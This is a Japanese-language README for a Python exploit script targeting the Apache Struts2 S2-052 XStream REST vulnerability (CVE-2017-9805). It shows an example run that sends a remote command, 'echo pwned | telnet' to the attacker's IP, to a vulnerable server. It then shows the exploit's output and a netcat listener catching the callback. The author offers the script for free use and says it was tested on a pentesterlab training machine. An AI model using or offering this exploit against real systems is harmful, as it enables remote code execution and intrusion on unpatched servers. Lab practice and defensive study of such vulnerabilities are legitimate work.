脆弱性情報

リソース: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805

これは何ですか？

S2-052 に対して脆弱な Struts2 をホストするシステムのシェルにリモートコマンドを実行できる Python エクスプロイトスクリプトです。

使用方法

╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"

[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.

╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234

listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned

s2-052 エクササイズの pentesterlab 脆弱マシンでテスト済み。

著者の権利

このエクスプロイトスクリプトは私 (zc00l) によって書かれ、誰でも使用できます。

このスクリプトを使用または変更する場合は、既に行われた作業に対して正当なクレジットを付与してください。